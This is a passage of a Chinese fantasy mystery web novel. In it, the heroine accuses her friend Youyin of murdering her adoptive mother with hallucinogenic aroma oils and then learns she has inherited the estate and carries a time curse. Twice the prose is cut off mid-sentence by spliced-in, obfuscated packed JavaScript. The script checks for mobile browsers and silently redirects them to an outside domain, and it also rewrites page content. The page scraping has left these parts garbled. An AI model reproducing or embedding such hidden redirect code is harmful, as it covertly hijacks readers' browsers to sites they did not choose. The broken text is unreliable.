比如，那位继承人是个女性。 叫什么她不记得了，单从性别和谋杀案的结果来讲，显然不是弥悬而是尤茵。 当然也可能是弥蕴珐老太太的妹妹，但那位继承人据说是老太太的小辈而非平辈，所以应该也不是弥翁莉。 这辈子来到庄园后，她多次听人提起，尤茵虽然是老太太养大的，可并未被老太太收养，索林因此嘲讽尤茵跟庄园里的管家佣人没区别，监控室的工作人员也能在老太太去世后对她态度恶劣。 要真是这样的话，尤茵为什么能继承庄园，难道是继承了老太太遗产的弥悬将庄园送给了尤茵？ 庄园是弥蕴珐老太太生前的住所，弥悬真的能不顾他母亲对老太太的思念，将这里送给尤茵，任由尤茵把庄园改成度假地吗？ 所以她问管家，管家没有必须回答白佳果的理由，毕竟她只是一位受邀前来的客人，实在没资格管别人的家事，但在沉默片刻后，管家竟然给出了答复：“其实早在去年，夫人已经走正式的法律流程，收养尤茵小姐。” “她们希望能保密，所以只有我知道这件事。” # 来到墓园，车子停在路边，泛理因为出行匆忙还有事务要处理，留在车上开视频会议。 白佳果带着空想雅在棺木下葬后献上花束，然后便回到了车旁，没有上车，就这么远远地看着，把墓前的位置留给跟弥蕴珐老太太更加熟悉的人。 值得一提的是，弥蕴珐的妹妹直到此刻仍旧尊重姐姐的喜好，没让自己的丈夫来参加葬礼，全程只有弥悬陪着她。 葬礼结束，宾客陆续离开，弥翁莉想再单独和自己的姐姐说说话，弥悬便留下她一个人在墓前，走到了较远但能随时留意她状态的位置。 弥悬看到了正在等待管家的白佳果，上前问：“你还好吗？” 弥悬昨天就听说了白佳果的遭遇，但只知道她中了幻术，具体情况并不了解，管家没跟他透露太多，等他想去探望时白佳果已经被带离庄园，发信息也一直没有收到回复，本打算葬礼结束下午去酒店看看，没想到会在这里遇到她。 白佳果刚收到大伯在车里发来的信息，专注地看完内容，直到听见弥悬的声音才意识到对方的靠近，放下手机，回复道：“目前还行，你呢？” 弥悬回头看了眼还在墓前说话的弥翁莉：“应该也还行吧。” 白佳果记得他对本地特别熟悉，于是问：“香薰是你们这里的特产吗？” 弥悬摇头：“不，我没听说过，倒是几年前流行过拥雪山上带下来的空气罐头。” 白佳果心想果然，这次是她太依赖上辈子的记忆，先入为主了，难怪搜旅游攻略的时候没看到几篇香薰相关的内容。 弥悬：“是尤茵给你送香薰了吗？” 白佳果意味不明道：“算是吧，你也收到过吗？” 弥悬：“嗯，从去年开始。她是魔药专业，毕业课题就是气味治疗，因此做了很多治疗功效的香薰送给我们。” 白佳果：“……难怪。” 弥蕴珐名下有一家制药公司，没猜错的话，应该是上辈子继承了弥蕴珐遗产的尤茵大力推广自己的香薰，这才让香薰成为地方特产。 除了他们，不远处还停着一辆车，车上坐着同样参加过生日宴又来参加葬礼的双胞胎。 之所以没有马上离开，是因为他们看到了白佳果，兄弟俩关于要不要去找白佳果产生了分歧—— 弟弟想去，他太想弄明白，白佳果究竟是怎么知道他身上有打火机的了，生日宴上人太多，这会儿正好没什么人。 哥哥不想去，哥哥总觉得弟弟对白佳果戳破他的秘密耿耿于怀，想要伺机报复，而哥哥对白佳果感激还来不及，当然要拦一拦。 两边谁也说服不了谁，因此他们没有下车，也没有离开，开车的司机谁也不想得罪，场面僵持不下。 另一边，白佳果和弥悬又说了几句话，然后便看到管家和尤茵朝他们走来。 “佳果！”尤茵走快几步，来到白佳果面前，问了和弥悬一样的问题：“你还好吗？” 白佳果看着她，点头：“嗯。” 尤茵松口气：“太好了，都怪我昨天只顾着自己的事情，如果我能多留意你的情况，或许你不会遇到这种倒霉事。” 白佳果摇了摇头：“你不用总是和我道歉，” “对了。”尤茵提起了宴会那晚，她们在走廊上遇到的那个找袖扣的青年：“你知道他当时为什么会在那吗？” 白佳果配合地问：“为什么？” 尤茵嗤笑一声：“他在那彩排，他太紧张了，不确定自己第二天运送凶器是否会出岔子，所以他提前在那条走廊上演练。我的天啊，怎么会有人可以无能成这幅鬼样子，要不是他亲口招认，我都不敢相信。” 白佳果意外：“这确实让人没想到。” 白佳果的反应稍显平淡，尤茵担忧道：“你真的没事吗？你看起来没什么精神的样子。” 白佳果一瞬不瞬地看着她：“我在想，你要杀我的原因。” 尤茵的表情僵在脸上，一旁的弥悬面露错愕，管家倒是不意外，他早就接到了庄园那边的电话，知道警方上门找尤茵，因为尤茵涉嫌用幻术谋杀白佳果未遂。 当时他们刚到墓园，是他主动联系警方，告知墓园的位置，同时恳求警方能等一等，等亡者下葬再带走尤茵，在那之前他会保证不让尤茵逃走。 他不希望夫人的葬礼出什么意外，也不希望夫人一手养大的孩子居然没能替夫人洒上一捧土。 如今葬礼结束，白佳果来找尤茵要说法，也是人之常情。 尤茵难以置信地反问白佳果：“你在说什么？” 管家没有把白佳果他们发现水晶石头的事情告诉弥悬，也没告诉尤茵。 白佳果问尤茵：“那块让我产生恐慌和幻觉的水晶扩香石，是你在书房门前抱着我哭的时候，放到我口袋里的，对吗？” 尤茵不肯承认，她为自己争辩：“不是我，香薰又不是什么特别罕见的东西，往里面添加致幻药剂也不是只有我能做到的事情！” “可你从生日宴那晚接近我开始，一直在使用它。”白佳果说：“我不喜欢和谁交朋友，但我经常无法拒绝你的请求，特别是在闻到你身上的味道之后。” 尤茵闭了闭眼，点头承认道：“我确实是会在自己身上用一些能让人心情愉悦，不产生反抗心理的精油，可这是我对自己用的，因为、因为夫人经常对我不满意，我不是逆来顺受的性格，所以我想用这种办法让自己不要惹夫人生气，影响到别人只是意外。” 她的坦诚很容易让人对她产生信任，从而认可她的无辜。 “那你给索林他们的香薰精油里具有成瘾性药物也是意外吗？”白佳果问她：“警方在他们每个人家中都找到了相似的香薰精油，功效是让他们变得自负疯狂，长期摄入还会致幻成瘾。” 类似的“信心香薰”白佳果在上辈子也看到过，作为限制出售的商品，它的用料明显比索林等人家中的香薰轻很多，不会让人产生幻觉，但会让人感到亢奋，精神百倍，做什么都会变得很有行动力和自信心，危害就是长期使用会让人变得偏执易怒，容易上瘾。 这让信心香薰屡禁不止。 尤茵：“那是他们逼我的，我只是想分享一下我的毕业设计，其中一款香薰能让人增加信心，我的初衷是让胆小的人能在香薰氛围下鼓起勇气去做自己想做的事情，这很适合社交障碍患者，可我没想到拿到这款香薰的人会对香薰效果产生依赖，并且要求我继续为他提供香薰。” 尤茵拿出了自己的手机，翻找聊天记录作为佐证，一边翻一边说，语速很快，内容却条理清晰，仿佛早就打好了草稿，删减掉累赘的词句，整理好逻辑顺序，就等着讲出来的这一天：“我一开始没有认识到情况的严重性，持续提供过一段时间。后来我发现不对拒绝了他，没想到他已经把香薰分享给了索林他们，索林他们联合起来逼迫我，要求我为他们提供更多甚至药效加倍的香薰，不然就把这件事告诉夫人，污蔑我故意用这种东西让他们上瘾，想要毁了他们。” 尤茵翻出记录亮给白佳果看，还把手机递给弥悬，证明自己绝对不是诚心要给他们提供那些具有危害的香薰。 白佳果：“你给你的每一个做法都找好了解释，面对警方你应该也会这样讲，难怪……” 难怪上辈子她能顺利继承遗产。 “说实话我都快动摇了——如果没有看到那份证据的话。” “证据？”尤茵依旧是那副不敢相信的模样：“不可能，我绝对没有想过要害你！” 白佳果摇头：“我说的证据，不是你要害我的证据。” 一旦确定问题出自那块滴了精油的水晶石，找到精油和水晶石的来源只是时间问题，就算尤茵动作隐秘躲开书房门口的监控，也能通过她的专业和毕业课题将怀疑的目光锁定在她身上。 之后要怎么调查、怎么审讯是警方的问题，白佳果现在想说的是尤茵要杀她的理由—— “我说的，是你杀害弥蕴珐夫人的证据。” 白佳果这句话，远比她怀疑尤茵要杀她还要来的震撼。 本就静谧的墓园因为这句话陷入了更加冰冷的沉寂，连风都停止了吹动。 “你说什么？”令人意想不到的声音响起，弥翁莉不知道什么时候离开墓前，走到了他们这边。 她看起来摇摇欲坠，管家和弥悬想要扶她，却被她甩开。 “你把话说清楚，到底是谁杀了我姐姐？”弥翁莉走到白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她捋了一下，决定先从今天早上开始：“我早上在警局做完笔录，不仅得知警方从索林等人家中找出可疑的香薰精油，还了解到案件中的两个疑点。” “第一，索林虽然使用了幻术，让管家先生误以为弥蕴珐夫人在他离开时还活着，但其实以索林的本事，他的幻术不足以蒙蔽管家先生的双眼，这也是为什么管家先生曾经这么确定，索林离开时弥蕴珐夫人还活着。” “第二，弥蕴珐夫人胸口有两处近乎重叠的刀伤，而除了那柄被他们运送出杀人现场的匕首以外，警方在作为书房装饰的一柄刀具上检测出了血液反应。” “关于第一个疑点，警方一开始认为索林借助了幻术道具，可索林因为香薰变得自负，他不认为自己会失败，全然没有想过借助外力。” “所以瞒过管家先生的幻术，不是来自索林，而是尤茵在杀害弥蕴珐夫人后点燃的致幻香薰。”白佳果：“警方收集的现场物品中有一只空掉的香薰蜡烛杯，但因为药效已经挥发，警方检测不出任何可疑的成分。” 尤茵：“所以这只是你的推测！” 白佳果毫不避讳：“对，你杀人的证据是真的，你杀人的过程只是我的推测。因为我从一开始想的就不是你为什么要杀弥蕴珐夫人，而是你为什么要杀我。” 白佳果说：“因为是我间接导致你亲手杀了她，而你原本的打算，仅仅是花一年的时间，利用香薰让索林他们替你杀了弥蕴珐夫人。” “他们在香薰的影响下策划了看似精密实则愚蠢至极的作案手法，他们原本实施不到后面运送凶器嫁祸弥悬，只需要索林踏出书房，妄想用他的幻术欺骗管家先生的那一刻，他就会被管家先生撞破他的行凶现场。” “偏偏……那条项链。”白佳果往后靠在车上，在她身后的车窗里，泛理结束了会议，此刻正听着她说的话：“你不小心弄丢了弥蕴珐夫人送给你的项链。” 弥翁莉不清楚这一段，她追问：“什么项链？” 她犀利的目光扫过尤茵和管家，不见半点生日宴上的温婉柔弱。 说到底一个魔族，本性就不可能柔弱，只是姐姐的强悍让她更加习惯展现自己柔弱的一面。 管家为弥翁莉解惑，说是老太太养的那条巡火银带鱼从湖里弄了一条项链送给白佳果，白佳果拿去“一枚发条”清洗，送回庄园时意外送到了老太太手里，被老太太认出那是自己送给尤茵的礼物，从而把尤茵叫去书房，成为了案发当天第一个见老太太的人。 所以上辈子就算修复监控录像也没用，因为上辈子尤茵根本没有亲自动手，也没有在案发当天进入过书房。 是这辈子白佳果的出现，导致尤茵的计划出现意外，让在书房和老太太争吵的她先一步动手，用墙上的装饰刀具杀害了自己的养母。 警方的车辆驶入墓园。 车子停靠后，警察下车朝他们走来。 “致幻香薰帮你欺骗了管家先生，也帮索林完成了杀人计划。”白佳果最后说道：“你或许是真的害怕索林他们能得逞，也可能是怕自己成为警方怀疑的对象，总之你拉上了我这个不相关的人，积极探查真相，找出‘真凶’，替弥悬摆脱陷害。” “你应该是在昨天早上找我的时候，才知道是因为我，弥蕴珐夫人发现你弄丢了项链。” “这是我想不通的点——在那之前，你为什么会选我？”白佳果问。 警察出示证件，要带走尤茵进行调查，涉及案件果然不止是利用幻术杀害白佳果未遂，还有涉嫌杀害弥蕴珐夫人。 尤茵被带走前，解答了白佳果的疑惑：“就算你说的全都合理，我也不会承认是我杀了夫人，至于为什么会找你，还能因为什么。”她笑了起来，看似友好的笑容里满含恶意：“因为我想得到你的友谊。” “一个能代表血族的女孩，谁会不觊觎你背后的权势。除此之外，连魔法都无法使用的你还有什么值得别人高看一眼的呢。” 对于尤茵的嘲讽，白佳果面无表情且相当迅速地给出了答案：“额外学分。” 有人噗嗤一下笑出了声，白佳果循声望去，看到不远处两颗探出车窗外的蓝灰色脑袋。 白佳果一眼认出是双胞胎，他俩还热情洋溢地伸手朝她挥了挥，好像在说“对对对，说的就是我们”。 白佳果：“……” 白佳果转身拉开车门，她忘了泛理就坐在靠近她的这一边，好在，车内的泛理不等白佳果关门绕到另一边上车，自己主动进行了瞬移，越过后排中间的隔断，挪到另一边的座位上。 白佳果上车，砰地一声关上了车门。 20.第二十章（一更） 白佳果上了车才想起管家还有事要和她说。 就在她挣扎着不想下车看到双胞胎时，一位女警过来，让她跟着回一趟警局。 路上她看着窗外发呆，突然听见她大伯说：“你很聪明。” 白佳果回过神，转头：“你是在说我吗？” “嗯。”泛理递给她一瓶水：“警方是在恢复录像后才意识到尤茵是凶手，而你在看到录像之前，就已经怀疑她做了什么，只是缺少证据。” 白佳果接过那瓶水：“你不用安慰我。” 反正她救完爸妈就走，会不会魔法什么的，根本不影响她在另一个世界的生活。 “我没有安慰你。”泛理告诉白佳果：“让你代表我来这里出席生日宴，不仅是让你来玩的。” 喝了口水的白佳果：“唔？” 泛理：“你沉得住气，小心谨慎，聪明好学。如果哪一天我不在了，所有的一切交给你会比交给你的父亲更好。” 白佳果咕咚一声把水咽下，轻微地咳了两声：“你是认真的吗？” 泛理：“认真的，我想这足以证明你的价值，所以不要听任何人的诋毁，你比你自己想象得还要优秀。” 白佳果像身上长刺一样换了好几个坐姿，她这里看看哪里看看，最后还是没忍住，嘿嘿嘿地笑出了声：“谢谢。” 泛理脸上也露出了笑容。 白佳果的心情肉眼可见地好起来，她跟泛理说：“我其实没想说这么多。” 要不是尤茵跟管家一块来，她和管家谈完就走了，反正警方已经找到证据，之后看调查结果就行。 偏偏尤茵在场，她正琢磨呢，心不在焉的，尤茵就问她了，然后她嘴一快就说了，最后话赶话赶话，把自己的推测粗略地说了一遍。 抵达警局，因为尤茵被捕，管家和弥翁莉，以及弥悬也来了。 警方正好问问他们尤茵和弥蕴珐夫人平时的相处，以及案发后尤茵的表现有没有什么异常的地方。 然后就问出了他们从白佳果那听到的推理，居然跟调查组这边的差不多。 原本他们把白佳果叫来，是想再问一下宴会那晚，她跟尤茵去找弥蕴珐的细节，确认被害者与尤茵是否曾在案发前一晚发生过矛盾，发现怪异后，对白佳果的提问范围出现变化，开始围绕她怎么进行推测展开。 负责询问的人里有一位没穿警服，据说是顾问，原本在一边的白板上写字贴照片，听到一半把同事都推开，自顾自跟白佳果聊了起来。 两个人说话节奏都很快，一问一答，旁人光是听都差点跟不上。 白佳果很少和人说话用词这么简短。 她习惯把自己推论的过程和用到的线索摆出来，那样方便别人理解，可顾问会打断她，一次又一次地打断她，还抢白，弄得她有点烦，索性不再长篇大论因为所以，更不管对方能不能听懂，直接说关键词句。 然后对方就这么无障碍地和她交流了下来。 结束后顾问还兴致勃勃问白佳果在哪读书，有没有兴趣考他的母校，当他的学妹，或者要不要兼职，他偶尔外派的时候，局里会缺人。 白佳果一一拒绝，顾问只得遗憾放人。 出来的时候，她看到管家正在和泛理说话，另一边的审讯室里传来巨响，吓她一跳。 上辈子没感觉，二周目她发现魔法世界好危险。 她抓紧空想雅的手，回到她大伯身边。 管家似乎和她大伯说了什么，大伯的表情有些微妙，见到白佳果后沉默了好一会儿才说：“换个地方谈吧。” 他们带管家回了酒店，套房里有专门的会客厅，白佳果懵里懵懂地坐下，听见管家说：“弥蕴珐夫人在生日那晚修改了她的遗嘱。” 白佳果不解。 然后呢，这和她有什么关系。 管家一字一句，非常清晰地说道：“将由您来继承她所有的遗产。” 这就是为什么，管家总会回答白佳果的疑问，还替白佳果隐瞒，没把发现水晶石的事情告诉弥悬和尤茵，因为白佳果才是他的新雇主。 什么可以说，什么不可以说，他能分得清。 白佳果：“……啊？” 她怀疑自己听错了，或者谁又对她用了幻术。 说到底，谁会把自己的家业交给一个没怎么相处过，认识不到几天的人。 可赶来的律师和面前堆叠如山需要她签署的文件又是这么的真实。 一旁的空想雅还在替她确认文件上的条例有没有问题。 “等等等等，等一下！”白佳果指着自己：“我？让我继承？为什么？弥蕴珐夫人就算对我一见如故，也不至于把遗产都给我吧？” “她临时改遗嘱的原因，和她原本要找您谈的事情有关。”管家希望能单独跟白佳果说，可没有人会放一个成年亡灵和一个不会魔法的女孩单独共处一室。 白佳果也希望空想雅能陪着她，至于泛理……嗯，她一出事大伯就赶过来，明明很忙还一直陪着她跑来跑去，说不感动是假的，况且她确实需要更有社会经验的大伯替他判断管家接下来说的话到底是真是假。 所以除了律师，空想雅和泛理都留在了会客厅。 管家告诉她：“夫人选择您的原因很简单，因为您是时间囚徒。” 白佳果没听懂，她在想是不是翻译魔法的问题，转头看了看泛理和空想雅，发现空想雅和她一样感到困惑，泛理则是惊讶，显然他知道什么是时间囚徒。 所以—— “时间囚徒是什么？” 按照管家的说法，“时间囚徒”是被时间女神诅咒的人，具体内容在塑日教的经典里有记载。 讲的是一个替时间女神饲养花草的女人，在死前得到了向女神许愿的机会，女人许愿能回到过去，拯救在其童年意外死亡的双亲，拥有一段圆满的人生。 女神认为女人太过贪心，应允的同时降下惩罚。 女人可以回到过去，并且她会不断回到过去，直至拥有一段毫无遗憾的圆满人生为止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616455|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可人生哪有毫无遗憾的圆满，女人在一次次的重复后明白了这个道理，感到疲惫的她放弃了执念，却惊恐地发现自己根本无法彻底拥抱死亡和安息，永远被困在了过去的时间里。 这个故事教育信徒不要因为无法挽回的事情钻牛角尖，凡事看开点。 然而在魔法世界，真的有过神明的存在。 这一则故事并非虚构，而是真实发生的历史。 很少有人知道故事中的女人最后怎样了，年轻时没有入教的弥蕴珐更是连听都没听过这个故事，直到她在工作中认识她的上司——那个叫柯行的女人，对方欣赏她培养她，还和她一起创业，与她关系亦师亦友，认识的时间比和管家认识的时间还要早。 很多事情都是柯行说给弥蕴珐听的，所以弥蕴珐才总是能做出正确的决策。 柯行很早就向弥蕴珐坦白了自己时间囚徒的身份，说自己不断重复回到过去，经历得多了，自然知道得也多。 柯行格外信任弥蕴珐，因为过去每一次，弥蕴珐都没有辜负她的期待，还为了她加入塑日教，凭一己之力让时间囚徒成为塑日教内部类似于神明代行者一般的特殊存在。 柯行还跟弥蕴珐说，无法回头的生命才是最珍贵的。 最后柯行用过去每一任时间囚徒都用过的办法迎接真正的死亡，但她说过诅咒不会消失，在她死去那一刻诞生的孩子，将会继承这个诅咒。 “十八年前的八月二十三日。”管家说出了柯行的死亡时间。 这同样是白佳果和尤茵的生日。 弥蕴珐夫人到处寻找这个时间出生的孩子，她知道尤茵不是她要找的那个人，但无父无母的小尤茵抱住了她的腿，即便面对她挑剔的目光也没有松开手，所以她将年幼的尤茵带回了庄园。 白佳果都听傻了，她哪里能想到，她寻找自己重生的原因找了这么久，结果答案在她外出游玩的时候撞了上来。 她还以为是魔法世界的谁让她有了重生的机会，但原来，是她自己的原因。 她身上带着诅咒…… 不不不，她只经历过一次死亡重生，在第二次死亡重生前，她不能完全相信“时间囚徒”的说法，万一弥蕴珐夫人认错人，又或者这是骗她去死的阴谋呢。 白佳果又抠起了自己的指甲：“就算你这么说……我还是不能理解。” 因为一个诅咒，就要把遗产给她？ 弥蕴珐和她无亲无故，即便不考虑自己的妹妹和外甥，不是还有尤茵吗，那是弥蕴珐亲手养大的孩子，弥蕴珐不知道尤茵会杀她，十几年的感情，竟然什么都不给她留吗？ 管家解释：“夫人过去送给尤茵小姐的房产和股份，足够尤茵小姐在完成学业后继续过衣食无忧的生活。诚然在您出现之前，遗产本该由尤茵小姐继承，可是您出现了，在夫人眼里，您等同于柯行女士。” “柯行女士对夫人而言很重要很重要，夫人唯有在关于这件事上非常固执，所以她毫不犹豫，要把一切都给您。” 21.第二十一章（二更） 放半个月前，白佳果怎么也不会预料到，自己放下学习出来游玩，能遇上这么多事情。 突然发生的命案，突然落到她头上的遗产，还有突然被告知的诅咒。 好在她没被困扰太久。 遗产方面，空想雅会为她确认好每一份文件的内容，等确定没有任何问题，她再来考虑签不签。身份方面，有她大伯在，塑日教会没办法强迫她去当什么代行者。 日子还是那样过，所谓的诅咒不影响她珍惜当下好好生活。 弥蕴珐夫人生前收集了很多时间囚徒的资料，管家找出来给她，她回到学习模式，在酒店里足不出户待了两天——无论真假，该了解的信息还是要了解一下。 期间警局那边的案件也有了进展。 此前哪怕证据摆在眼前，尤茵依旧死不松口，咬定自己没有杀害任何人。 后来得知弥蕴珐在死前修改遗嘱，将遗产留给了白佳果，她先是不相信，然后崩溃一般，发出了匪夷所思的大笑。 之后她愣愣地沉默了一天，再开口，说的第一句话是：“项链是我亲手扔进湖里的。” 那天在墓园，白佳果说她“不小心弄丢了项链”。 她对这句话印象很深刻，非常深刻。 但她忍住了，直到眼下，她发现自己做的一切都是无用功，认不认罪那份遗产都和她没关系，她终于不再忍耐，纠正了她最想纠正的一句话。 那条项链是去年弥蕴珐正式收养她时，送给她的礼物。 她本来是很喜欢的，后来又不喜欢了，因为弥蕴珐没有选择公开她的养女身份，甚至没有让那些讨人厌的亲戚该回哪回哪去。 “收养了我还留着那群废物，不就是在说‘如果你不合我的心意，我还是会把你换掉吗’？”尤茵平静地讲述了自己的感受。 如同她对白佳果说的那样。 能在弥蕴珐面前随心所欲做自己的，只有弥翁莉和弥悬，尤茵从未真正做过自己，因为弥蕴珐从未对她满意过，偏偏她又不是逆来顺受的性格，所以她忍耐了很久，不想再忍耐下去了。 她花了一年的时间，让那群废物被香薰养大了胆子，再通过各种暗示，让他们坚信只要弥蕴珐突然死去，再除掉唯一的障碍——弥悬，他们就能瓜分遗产，由此推动他们一点点对弥蕴珐起杀心。 “夫人没有对外公开我是她的养女，这恰好方便了我的计划，那群蠢东西不会对我起疑心，这难道不能说是她自找的吗？”尤茵又一次反问。 负责审讯的两位女警听得额头青筋暴起，她们提醒她：“我们在你名下查到三处房产和百分之五的圣柯医药集团的股份，如果没有弥蕴珐，在孤儿院长大的你恐怕没办法拥有这些，更别说你还享受到了远超普通人的教育资源，就连你的毕业课题，也没少借助圣柯医药公司提供的便利。” 尤茵不为所动：“那是我应得的，你们根本不知道我在她的语言打压下过得有多痛苦，只有弥翁莉和阿诺两个受虐狂才会喜欢待在她身边的感觉，啊对，还有弥悬，他和他的母亲一样软弱圣母。” 尤茵想起什么，神经质地笑了：“你们一定没见过，怎么会有小孩被大人骂了还反过来问骂他的人是不是遇到了不高兴的事情，甚至还安慰骂他的人。我见过，十二岁的弥悬，在我看来他简直有病，但夫人很吃他那一套，觉得他跟他的母亲一样比起魔族更像天使。” 两位女警彼此对视，她们确实没见过性格这么好的小孩，但她们能理解：警方有涉案人员的资料，所以她们很清楚弥翁莉和弥悬作为魔族的天赋能力——吃掉别人的情绪。 其实完整的能力是感知情绪，然后吃掉情绪，但因为是混血，他们缺乏感知情绪的步骤，只有吃掉某个人的情绪，尝尝咸淡才能知道对方的心情。十二岁的弥悬大概率是被骂的时候吃到了弥蕴珐的情绪，吃饱的同时，知道蕴弥珐遇到了别的糟心事，所以才会被骂了也安慰对方。 而弥蕴珐那边，糟糕的情绪被吃掉了，心情平复下来自然不会继续发火。 女警没再多说什么，继续让尤茵讲案件相关的内容。 尤茵清楚索林他们全部的计划，因为参与的人太多，总有几个蠢货会在脑子不清醒的时候说漏嘴。 尤茵甚至早就知道那个借口找袖扣的青年在走廊上排练。 宴会那晚，她提出让白佳果和她一起去休息室找老太太，除了要甩掉宴会上其他想认识白佳果的人，和白佳果单独相处增进一下感情，留个好印象，同时也是想故意吓唬那个青年。 偏偏问题就出在这里——她找了白佳果。 老太太因此发现白佳果是她一直在找的人，连夜修改遗嘱把财产都留给了白佳果，并在第二天约白佳果下午见面。 被约的白佳果没时间陪空想雅去拿项链，便拜托“一枚发条”将项链送来庄园。 最后那条被尤茵扔进青金湖的项链，就这么到了弥蕴珐面前。 弥蕴珐的怒火可想而知，尤茵忍了这么多年，不至于连最后几个小时都忍受不了。 直到弥蕴珐说要解除收养关系，尤茵才彻底慌了神。 弥蕴珐的决绝和行动力她是知道的，她不能让弥蕴珐把这个想法告知书房外的管家，她不能让近在咫尺的一切都毁在这短短的一两个小时内。 而且她不想再忍下去了。 于是她在弥蕴珐背对着她的时候，拿下了墙上装饰用的刀具。 那一刀是在弥蕴珐转身之际捅进去的，她没有马上将刀拔出来，而是用魔法控制住还未死去的弥蕴珐，不让她挣扎反抗发出声音，然后拿出随身携带的香薰精油，滴在书桌上那一只由她亲手送给弥蕴珐，可弥蕴珐却一次也没有点过的香薰蜡烛杯里。 香薰的味道一点点充盈整个书房，这气味能让人看到自己最想看的一幕，所以她知道，无法发出声音的弥蕴珐没有在濒死之际忏悔自己的刻薄，一切都是她在香薰作用下的幻觉。 她等到索林的到来，这个时候香薰的味道已经通过门缝蔓延至书房外的走廊上，她拔出刀具，用魔法隔离喷溅的鲜血，弄干净刀具，放回原位，最后推开门，走了出去。 她对管家和索林用了幻术，虽然她的幻术和索林一样不足以迷惑管家，但有香薰辅助，她还是骗过了在场的两个人。 这就是一切的经过，即便出了意外，她仍旧按照自己的期望，杀害了弥蕴珐。 但她并不开心，她从没想过要自己动手，这样会增加暴露的风险，而且弥蕴珐毕竟是她的养母，杀完人当天晚上她一夜没睡，她在书房门前的哭泣，也并非全是伪装。 都怪那条项链，她想，都怪让项链出现在弥蕴珐面前的白佳果。 她知道自己应该忍耐，可弥蕴珐的离开像是带走了她的耐心，她满怀着怨恨，将浸润了香薰精油的水晶石放到白佳果的口袋里——在白佳果抱着她，安慰她的时候。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616456|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> # 白佳果想了很久要不要继承弥蕴珐的遗产。 她不是视金钱如粪土的人，可要她接受莫名其妙得来的财富，总感觉有些不安。 享受了相应的好处，就得承担相应的责任，这个道理她很清楚。 泛理不打算提供任何建议，继不继承都由白佳果自己决定。 当然这是在空想雅看过文件，确定没有文字陷阱，可以签的情况下。 还在挣扎的白佳果提出疑问：“为什么不能让弥蕴珐夫人以亡灵的身份复活，继续持有这笔财富？” 这个问题白佳果早就想问了，复活受害者，不就能立马知道凶手是谁吗？ 可她毕竟不是魔法世界的人，她看没有人提这事儿，想这其中肯定有他们自己的道理。 眼下因为遗产继承问题，白佳果终于把心底的疑惑说出口。 管家自己就是亡灵，他告诉白佳果：“夫人在很多年前签署了自愿放弃书，拒绝通过亡灵管理局被复活。” 管理局对复活名额卡得很死，但其中绝对不包括像弥蕴珐这样拥有社会地位和财富的人族，甚至亡灵族专门找弥蕴珐夫人商量过这件事，劝她早点签下同意书，早点拿号排号，去世后便能早点复活。 他们很欢迎弥蕴珐成为他们的族人。 但弥蕴珐拒绝了。 “夫人并不畏惧死亡，相反，她一直在期待柯行女士无论如何都想要抵达的生命尽头。当然她肯定接受不了自己死于谋杀。” 可惜自愿放弃书已经签了，没有反悔的余地。 说到这里，管家面露苦恼：“我居然请求警方晚一点逮捕尤茵，让她参加了夫人的葬礼，夫人要是知道，肯定气疯了。” 管家几乎能想象弥蕴珐夫人会怎么骂他，可惜他再也听不到对方的训斥。 最终，白佳果在文件上签了字。 和任何人无关，也没什么迫不得已的理由，单纯就是没抵抗住在不属于自己的世界拥有一笔财富所带来的安全感。 这谁能抵抗得住。 “我真是个见钱眼开的人。”虽然是白佳果自己的决定，但她还是会吐槽自己太世俗了，一点都不高尚。 不高尚就不高尚叭。 弥蕴珐夫人所有的一切都会维持原样，由管家阿诺替她打理。 白佳果问过阿诺：“你既然知道我是时囚，难道就没有想过杀了我，让我回到过去，拯救弥蕴珐夫人吗？” 阿诺摇头：“夫人不会允许我这么做。” “况且，”作为死过一次的亡灵，他很清楚：“死亡的痛苦不会因为能活过来就消弭无踪，我杀了您，您一定不会当做事情没发生过。” “夫人说过，得罪谁也不要得罪时囚，更不要试图摆布时囚。” # 回帝都前，弥翁莉和弥悬来找她。 弥翁莉尊重姐姐的遗愿，来找白佳果仅仅是想从白佳果手上买走青金湖庄园，她希望留住姐姐生前的住所。 白佳果没有拒绝，把后续都交给阿诺处理。 这对母子离开的时候，弥悬对白佳果说：“尤茵是错的。” 白佳果：“嗯？” 弥悬想起白佳果在学校认真学习，还有在墓园与尤茵对峙的模样，说道：“你的存在本身，就值得让人心甘情愿向你靠近。” 白佳果眨了眨眼，反应过来这是和大伯一样的安慰，笑道：“谢谢。” 22.第二十二章 白佳果结束旅程回到家，洗完澡倒头睡了三个小时。 睡醒是下午四点，空想雅已经和佣人一块把行李箱都归置好，还拿着一个密码盒来问白佳果，要放哪里。 密码盒是弥蕴珐在遗嘱里特地写明要给白佳果的东西。 密码是六位数数字，白佳果试了柯行去世的时间，第一次输入密码就把盒子给打开了。 盒子里装着一本笔记，内容是弥蕴珐写下的，关于柯行的一些事情。 通过笔记，白佳果认识了那位在自己出生当天死去的女士，她性格懒散，脾气随和到几乎可以说是无欲无求的地步，要说有什么能让她感到抗拒，大概就是加班。 “不想再努力了。”这是柯行的口头语。 所以很多认识她们俩的人都会惊讶，为什么得过且过宛如一条咸鱼的柯行，能培养出弥蕴珐那样攻击性十足，每天都在往上攀爬不停奋斗的后辈。 